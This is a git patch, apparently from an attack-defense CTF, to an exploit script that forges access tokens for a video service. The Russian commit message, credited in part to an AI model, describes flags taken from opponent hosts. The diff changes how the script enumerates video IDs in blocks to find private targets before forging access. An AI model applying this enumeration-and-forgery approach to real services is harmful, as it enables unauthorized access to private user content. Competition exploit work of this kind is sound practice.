From cebec7dc6d2d405d389dfd03575c4f0479bff00d Mon Sep 17 00:00:00 2001 From: bobiqqq Date: Wed, 26 Aug 2026 13:07:28 +0300 Subject: [PATCH] =?UTF-8?q?sploits:=20=D0=B0=D0=B4=D0=B0=D0=BF=D1=82=D0=B8?= =?UTF-8?q?=D0=B2=D0=BD=D0=B0=D1=8F=20=D0=B3=D0=BB=D1=83=D0=B1=D0=B8=D0=BD?= =?UTF-8?q?=D0=B0=20=D1=81=D0=BA=D0=B0=D0=BD=D0=B0=20=D0=B2=20=D1=84=D0=BE?= =?UTF-8?q?=D1=80=D0=B6=D0=B5=20=D1=82=D0=BE=D0=BA=D0=B5=D0=BD=D0=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Фиксированная глубина 3000 не работала на быстрых боксах: на 10.10.10.1 id растут >1000/мин, приватные ролики чекера ушли на 12000 вниз от top и сплойт возвращался пустым. Теперь сканируем блоками по 2000 сверху вниз до 14000 и выходим, как только набрали 6 целей -- на медленных боксах это по-прежнему один блок. Проверено: 4 флага с 10.10.10.1 (глубина 12042), 3 с 10.10.10.5 (глубина 1653), на 10.10.10.2 корректно определился патч. Co-Authored-By: Claude Opus 5 --- sploits/tiktak_keygen_forge.py | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/sploits/tiktak_keygen_forge.py b/sploits/tiktak_keygen_forge.py index 2bb1495..faad8bf 100755 --- a/sploits/tiktak_keygen_forge.py +++ b/sploits/tiktak_keygen_forge.py @@ -16,7 +16,9 @@ USER_AGENTS = [ ] PORT = 5000 -DEPTH = 3000 # id растут ~500/мин из-за флуда, приватные тонут глубоко +BLOCK = 2000 # сканируем блоками, выходим как только набрали целей +MAX_DEPTH = 14000 # на быстрых боксах id растут >1000/мин +WANT_TARGETS = 6 # столько приватных достаточно, чтобы не жечь раунд WORKERS = 50 MAX_FORGE_FAILS = 6 # столько подряд отказов /access => команда запатчена WATCH_RX = re.compile(r"/watch/(\d+)") @@ -96,11 +98,19 @@ def exploit(target_ip): except requests.RequestException: return None - span = range(top, max(0, top - DEPTH), -1) + # Скорость роста id сильно разная: где-то 500/мин, где-то за 1000/мин, + # и приватные чекера уходят вглубь на тысячи. Идём блоками сверху вниз + # и останавливаемся, как только набрали достаточно целей. + private = [] with ThreadPoolExecutor(max_workers=WORKERS) as ex: - private = [v for v in ex.map(is_private, span) if v] + for lo in range(top, max(0, top - MAX_DEPTH), -BLOCK): + span = range(lo, max(0, lo - BLOCK), -1) + private.extend(v for v in ex.map(is_private, span) if v) + if len(private) >= WANT_TARGETS: + break private.sort(reverse=True) - print(f"[*] {target_ip}: top={top}, приватных найдено {len(private)}", + print(f"[*] {target_ip}: top={top}, приватных найдено {len(private)} " + f"(глубина до {top - min(private) if private else 0})", file=sys.stderr, flush=True) fails = 0